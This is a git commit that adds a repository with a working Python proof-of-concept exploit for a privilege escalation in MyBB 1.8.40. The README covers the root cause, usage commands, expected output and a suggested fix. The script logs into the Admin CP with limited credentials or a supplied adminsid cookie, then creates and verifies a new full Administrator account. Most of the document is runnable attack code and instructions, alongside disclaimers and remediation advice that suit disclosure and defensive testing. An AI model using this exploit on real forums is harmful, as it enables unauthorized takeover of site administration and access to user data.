Add exploitarium archive
This commit is contained in:
13
mybb-limited-acp-to-admin/.gitignore
vendored
Normal file
13
mybb-limited-acp-to-admin/.gitignore
vendored
Normal file
@@ -0,0 +1,13 @@
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
.pytest_cache/
|
||||
.venv/
|
||||
venv/
|
||||
*.sqlite
|
||||
*.sqlite3
|
||||
*.db
|
||||
*.log
|
||||
lab/site/
|
||||
lab/data/
|
||||
downloads/
|
||||
vendor/
|
||||
21
mybb-limited-acp-to-admin/LICENSE
Normal file
21
mybb-limited-acp-to-admin/LICENSE
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
165
mybb-limited-acp-to-admin/README.md
Normal file
165
mybb-limited-acp-to-admin/README.md
Normal file
@@ -0,0 +1,165 @@
|
||||
# MyBB 1.8.40 Limited ACP User Manager to Full Administrator
|
||||
|
||||
This repository contains a portable proof of concept for a MyBB 1.8.40 Admin CP privilege-boundary issue.
|
||||
|
||||
A non-super Admin CP account with only the user-management module permission can create a new user in the Administrator group (`gid=4`). The created account inherits full Administrator-group Admin CP permissions, including access to modules the source account was explicitly denied.
|
||||
|
||||
## Status
|
||||
|
||||
- Target verified: MyBB `1.8.40` / version code `1840`
|
||||
- Latest release confirmed: MyBB 1.8.40, released 28 May 2026
|
||||
- Live test date: 18 June 2026
|
||||
- PoC language: Python 3 standard library only
|
||||
|
||||
The older regular-user buddy/ignore-list username XSS chain is patched in 1.8.40 as CVE-2026-45115. This repo is for a different latest-version issue: limited ACP user-management privilege escalation to full Administrator.
|
||||
|
||||
## Impact
|
||||
|
||||
The final impact is full MyBB application administration:
|
||||
|
||||
- Read and modify board configuration.
|
||||
- Create, edit, ban, or delete users.
|
||||
- Access forum data exposed through the Admin CP.
|
||||
- Change content, permissions, settings, themes, templates, and persistence mechanisms available to Administrators.
|
||||
|
||||
This has the same final application-root impact as the earlier stored-XSS-to-Admin-CP chain, but the precondition is different and stricter: the attacker needs access to an ACP account that can manage users.
|
||||
|
||||
## Preconditions
|
||||
|
||||
The source account must:
|
||||
|
||||
- Be authenticated to the Admin CP.
|
||||
- Have `user-users = 1` permission.
|
||||
- Not need to be a super administrator.
|
||||
- Not need `user-admin_permissions = 1`.
|
||||
- Not need access to unrelated Admin CP modules such as Configuration, Templates, Tools, or Forums.
|
||||
|
||||
## Root Cause
|
||||
|
||||
The Admin CP add-user flow forwards submitted group fields directly into the user data handler:
|
||||
|
||||
```php
|
||||
"usergroup" => $mybb->get_input('usergroup'),
|
||||
"additionalgroups" => $additionalgroups,
|
||||
"displaygroup" => $mybb->get_input('displaygroup'),
|
||||
```
|
||||
|
||||
The add-user form renders every non-guest user group, including `gid=4` Administrator:
|
||||
|
||||
```php
|
||||
$query = $db->simple_select("usergroups", "gid, title", "gid != '1'", array('order_by' => 'title'));
|
||||
```
|
||||
|
||||
The user data handler still accepts group choices unconditionally:
|
||||
|
||||
```php
|
||||
function verify_usergroup()
|
||||
{
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
There is no effective authorization check that the acting ACP user is allowed to grant an ACP-capable group.
|
||||
|
||||
## Usage
|
||||
|
||||
Use only on systems you own or are explicitly authorized to test.
|
||||
|
||||
With limited ACP credentials:
|
||||
|
||||
```bash
|
||||
python3 poc/mybb_limited_acp_to_admin.py \
|
||||
--url http://127.0.0.1:8110 \
|
||||
--admin-user limited_user_manager \
|
||||
--admin-pass 'LimitedPassword123!' \
|
||||
--new-user promoted_admin \
|
||||
--new-pass 'NewAdminPassword123!' \
|
||||
--new-email promoted_admin@example.test
|
||||
```
|
||||
|
||||
With an existing limited ACP `adminsid` cookie:
|
||||
|
||||
```bash
|
||||
python3 poc/mybb_limited_acp_to_admin.py \
|
||||
--url https://forum.example.test \
|
||||
--adminsid '<limited-adminsid-cookie>' \
|
||||
--new-user promoted_admin \
|
||||
--new-pass 'NewAdminPassword123!' \
|
||||
--new-email promoted_admin@example.test
|
||||
```
|
||||
|
||||
For local labs using self-signed TLS, add `--no-verify-tls`.
|
||||
|
||||
## Expected Output
|
||||
|
||||
The PoC verifies the boundary crossing by comparing access to an Admin CP module before and after creating the new account:
|
||||
|
||||
```text
|
||||
target : http://127.0.0.1:8110
|
||||
source_probe_status : HTTP 200
|
||||
source_probe_denied : yes
|
||||
add_form_status : HTTP 200
|
||||
post_key_found : yes
|
||||
create_status : HTTP 200
|
||||
new_admin_login : adminsid issued
|
||||
new_probe_status : HTTP 200
|
||||
new_probe_denied : no
|
||||
|
||||
Result: full Administrator account created and verified
|
||||
```
|
||||
|
||||
`source_probe_denied=yes` and `new_probe_denied=no` show that the source account lacked the tested permission while the newly created gid-4 account gained it.
|
||||
|
||||
## Live Verification Performed
|
||||
|
||||
I verified this against a fresh 1.8.40 install:
|
||||
|
||||
- Downloaded `mybb_1840.zip` from MyBB resources.
|
||||
- Verified SHA-256: `380fb63c50c63f52c747ba05d1002ad77f2f0b1d254db213092501dd5e9375dc`.
|
||||
- Installed through the official installer using SQLite.
|
||||
- Confirmed code version from `inc/class_core.php`: `1.8.40 (1840)`.
|
||||
- Seeded a non-super ACP account with only `user-users = 1`.
|
||||
- Confirmed that account received `Access Denied` for `config-settings`.
|
||||
- Used the Admin CP add-user form to create a new `gid=4` Administrator.
|
||||
- Logged in as the new account and confirmed `config-settings` was no longer denied.
|
||||
|
||||
The Python PoC was also run against the live lab and produced the expected verified output above.
|
||||
|
||||
## Patched Prior Chain
|
||||
|
||||
The previous MyBB 1.8.39 buddy-selector stored XSS relied on stock templates passing attacker-controlled username data into a single-quoted inline JavaScript call:
|
||||
|
||||
```html
|
||||
onclick="UserCP.selectBuddy('{$buddy['uid']}', '{$buddy['username']}');"
|
||||
```
|
||||
|
||||
In stock MyBB 1.8.40, the affected templates now call `UserCP.selectBuddy()` without the username argument:
|
||||
|
||||
```html
|
||||
onclick="UserCP.selectBuddy();"
|
||||
```
|
||||
|
||||
That removes the old username-to-inline-JS sink in the default template set.
|
||||
|
||||
## Suggested Fix
|
||||
|
||||
When an ACP user creates or edits accounts, reject any primary, additional, or display group with Admin CP capability unless the acting user is a super administrator or has an explicit high-trust permission to grant ACP-capable groups.
|
||||
|
||||
Concrete checks should cover:
|
||||
|
||||
- Add-user flow.
|
||||
- Edit-user flow.
|
||||
- Inline/mass usergroup update flow.
|
||||
- Any plugin hooks or alternate paths that call the user data handler with group fields.
|
||||
|
||||
Defense-in-depth: make `UserDataHandler::verify_usergroup()` enforce group grant rules instead of returning `true`.
|
||||
|
||||
## References
|
||||
|
||||
- [MyBB 1.8.40 version page](https://mybb.com/versions/1.8.40/)
|
||||
- [MyBB 1.8.40 release announcement](https://blog.mybb.com/2026/05/28/mybb-1-8-40-released-security-maintenance-release/)
|
||||
- [MyBB releases on GitHub](https://github.com/mybb/mybb/releases)
|
||||
|
||||
## Responsible Use
|
||||
|
||||
This PoC is for authorized security testing, regression verification, and defensive remediation. Do not use it against systems without permission.
|
||||
7
mybb-limited-acp-to-admin/SECURITY.md
Normal file
7
mybb-limited-acp-to-admin/SECURITY.md
Normal file
@@ -0,0 +1,7 @@
|
||||
# Security Policy
|
||||
|
||||
This repository documents an authorized local verification of a MyBB privilege-boundary issue.
|
||||
|
||||
Use the PoC only against systems you own or have explicit permission to test. If you are validating a production forum, coordinate with the forum owner and preserve evidence without exposing user data.
|
||||
|
||||
Suggested disclosure path: report MyBB core security issues through the MyBB Project security process at https://mybb.com/security/.
|
||||
235
mybb-limited-acp-to-admin/poc/mybb_limited_acp_to_admin.py
Normal file
235
mybb-limited-acp-to-admin/poc/mybb_limited_acp_to_admin.py
Normal file
@@ -0,0 +1,235 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import html
|
||||
import http.cookiejar
|
||||
import re
|
||||
import ssl
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from dataclasses import dataclass
|
||||
from http.cookies import SimpleCookie
|
||||
from typing import Iterable
|
||||
|
||||
|
||||
class PocError(RuntimeError):
|
||||
pass
|
||||
|
||||
|
||||
@dataclass
|
||||
class HttpResponse:
|
||||
status: int
|
||||
reason: str
|
||||
headers: object
|
||||
body: str
|
||||
url: str
|
||||
|
||||
|
||||
class MyBBClient:
|
||||
def __init__(self, base_url: str, admin_path: str, verify_tls: bool = True) -> None:
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.admin_path = admin_path.strip("/")
|
||||
self.cookies = http.cookiejar.CookieJar()
|
||||
handlers: list[urllib.request.BaseHandler] = [
|
||||
urllib.request.HTTPCookieProcessor(self.cookies)
|
||||
]
|
||||
if not verify_tls:
|
||||
handlers.append(
|
||||
urllib.request.HTTPSHandler(
|
||||
context=ssl._create_unverified_context()
|
||||
)
|
||||
)
|
||||
self.opener = urllib.request.build_opener(*handlers)
|
||||
|
||||
def set_adminsid(self, adminsid: str) -> None:
|
||||
cookie = SimpleCookie()
|
||||
cookie["adminsid"] = adminsid
|
||||
morsel = cookie["adminsid"]
|
||||
parsed = urllib.parse.urlparse(self.base_url)
|
||||
domain = parsed.hostname or "localhost"
|
||||
self.cookies.set_cookie(
|
||||
http.cookiejar.Cookie(
|
||||
version=0,
|
||||
name=morsel.key,
|
||||
value=morsel.value,
|
||||
port=None,
|
||||
port_specified=False,
|
||||
domain=domain,
|
||||
domain_specified=False,
|
||||
domain_initial_dot=False,
|
||||
path="/",
|
||||
path_specified=True,
|
||||
secure=parsed.scheme == "https",
|
||||
expires=None,
|
||||
discard=True,
|
||||
comment=None,
|
||||
comment_url=None,
|
||||
rest={},
|
||||
rfc2109=False,
|
||||
)
|
||||
)
|
||||
|
||||
def url(self, path: str) -> str:
|
||||
return f"{self.base_url}/{path.lstrip('/')}"
|
||||
|
||||
def admin_url(self, query: str = "") -> str:
|
||||
suffix = f"?{query}" if query else ""
|
||||
return self.url(f"{self.admin_path}/index.php{suffix}")
|
||||
|
||||
def request(self, url: str, data: dict[str, object] | None = None) -> HttpResponse:
|
||||
encoded = None
|
||||
if data is not None:
|
||||
encoded = urllib.parse.urlencode(data, doseq=True).encode()
|
||||
req = urllib.request.Request(
|
||||
url,
|
||||
data=encoded,
|
||||
headers={"User-Agent": "MyBB-limited-acp-to-admin-poc/1.0"},
|
||||
method="POST" if data is not None else "GET",
|
||||
)
|
||||
try:
|
||||
with self.opener.open(req, timeout=20) as resp:
|
||||
raw = resp.read()
|
||||
body = raw.decode(resp.headers.get_content_charset() or "utf-8", "replace")
|
||||
return HttpResponse(resp.status, resp.reason, resp.headers, body, resp.url)
|
||||
except urllib.error.HTTPError as exc:
|
||||
raw = exc.read()
|
||||
body = raw.decode(exc.headers.get_content_charset() or "utf-8", "replace")
|
||||
return HttpResponse(exc.code, exc.reason, exc.headers, body, exc.url)
|
||||
|
||||
def login_acp(self, username: str, password: str) -> str:
|
||||
resp = self.request(
|
||||
self.admin_url(),
|
||||
{
|
||||
"do": "login",
|
||||
"username": username,
|
||||
"password": password,
|
||||
},
|
||||
)
|
||||
adminsid = self.cookie_value("adminsid")
|
||||
if not adminsid:
|
||||
raise PocError(f"ACP login failed or did not issue adminsid; HTTP {resp.status}")
|
||||
return adminsid
|
||||
|
||||
def cookie_value(self, name: str) -> str:
|
||||
for cookie in self.cookies:
|
||||
if cookie.name == name:
|
||||
return cookie.value
|
||||
return ""
|
||||
|
||||
|
||||
def extract_post_key(body: str) -> str:
|
||||
patterns = [
|
||||
r'name=["\']my_post_key["\']\s+value=["\']([^"\']+)["\']',
|
||||
r'value=["\']([^"\']+)["\']\s+name=["\']my_post_key["\']',
|
||||
]
|
||||
for pattern in patterns:
|
||||
match = re.search(pattern, body, re.I)
|
||||
if match:
|
||||
return html.unescape(match.group(1))
|
||||
raise PocError("Could not find my_post_key in add-user form")
|
||||
|
||||
|
||||
def response_has_access_denied(body: str) -> bool:
|
||||
return "Access Denied" in body or "access denied" in body.lower()
|
||||
|
||||
|
||||
def require_not_denied(resp: HttpResponse, context: str) -> None:
|
||||
if response_has_access_denied(resp.body):
|
||||
raise PocError(f"{context}: target returned Access Denied")
|
||||
|
||||
|
||||
def print_kv(rows: Iterable[tuple[str, object]]) -> None:
|
||||
width = max(len(key) for key, _ in rows)
|
||||
for key, value in rows:
|
||||
print(f"{key:<{width}} : {value}")
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Create a full MyBB Administrator from a limited ACP user-manager account."
|
||||
)
|
||||
parser.add_argument("--url", required=True, help="Base forum URL")
|
||||
parser.add_argument("--admin-path", default="admin", help="Admin CP path, default: admin")
|
||||
parser.add_argument("--admin-user", help="Limited ACP username")
|
||||
parser.add_argument("--admin-pass", help="Limited ACP password")
|
||||
parser.add_argument("--adminsid", help="Existing adminsid cookie for the limited ACP account")
|
||||
parser.add_argument("--new-user", required=True, help="Username for the new gid-4 Administrator")
|
||||
parser.add_argument("--new-pass", required=True, help="Password for the new Administrator")
|
||||
parser.add_argument("--new-email", required=True, help="Email for the new Administrator")
|
||||
parser.add_argument(
|
||||
"--probe-module",
|
||||
default="config-settings",
|
||||
help="Admin module to request for source/new-account comparison, default: config-settings",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-verify-tls",
|
||||
action="store_true",
|
||||
help="Disable TLS certificate verification for local/self-signed labs.",
|
||||
)
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
if not args.adminsid and not (args.admin_user and args.admin_pass):
|
||||
parser.error("provide either --adminsid or both --admin-user/--admin-pass")
|
||||
|
||||
source = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
|
||||
if args.adminsid:
|
||||
source.set_adminsid(args.adminsid)
|
||||
else:
|
||||
source.login_acp(args.admin_user, args.admin_pass)
|
||||
|
||||
source_probe = source.request(source.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
|
||||
source_denied = response_has_access_denied(source_probe.body)
|
||||
|
||||
add_form = source.request(source.admin_url("module=user-users&action=add"))
|
||||
require_not_denied(add_form, "add-user form")
|
||||
post_key = extract_post_key(add_form.body)
|
||||
|
||||
create = source.request(
|
||||
source.admin_url("module=user-users&action=add"),
|
||||
{
|
||||
"my_post_key": post_key,
|
||||
"username": args.new_user,
|
||||
"password": args.new_pass,
|
||||
"confirm_password": args.new_pass,
|
||||
"email": args.new_email,
|
||||
"usergroup": "4",
|
||||
"displaygroup": "0",
|
||||
},
|
||||
)
|
||||
|
||||
created_like_success = create.status in (200, 302)
|
||||
|
||||
new_admin = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
|
||||
new_admin.login_acp(args.new_user, args.new_pass)
|
||||
new_probe = new_admin.request(new_admin.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
|
||||
new_denied = response_has_access_denied(new_probe.body)
|
||||
|
||||
print_kv(
|
||||
[
|
||||
("target", args.url.rstrip("/")),
|
||||
("source_probe_status", f"HTTP {source_probe.status}"),
|
||||
("source_probe_denied", "yes" if source_denied else "no"),
|
||||
("add_form_status", f"HTTP {add_form.status}"),
|
||||
("post_key_found", "yes"),
|
||||
("create_status", f"HTTP {create.status}"),
|
||||
("new_admin_login", "adminsid issued" if new_admin.cookie_value("adminsid") else "no adminsid"),
|
||||
("new_probe_status", f"HTTP {new_probe.status}"),
|
||||
("new_probe_denied", "yes" if new_denied else "no"),
|
||||
]
|
||||
)
|
||||
|
||||
if not created_like_success or new_denied or not new_admin.cookie_value("adminsid"):
|
||||
raise PocError("Exploit did not verify")
|
||||
|
||||
print("\nResult: full Administrator account created and verified")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
raise SystemExit(main(sys.argv[1:]))
|
||||
except PocError as exc:
|
||||
print(f"error: {exc}", file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
Reference in New Issue
Block a user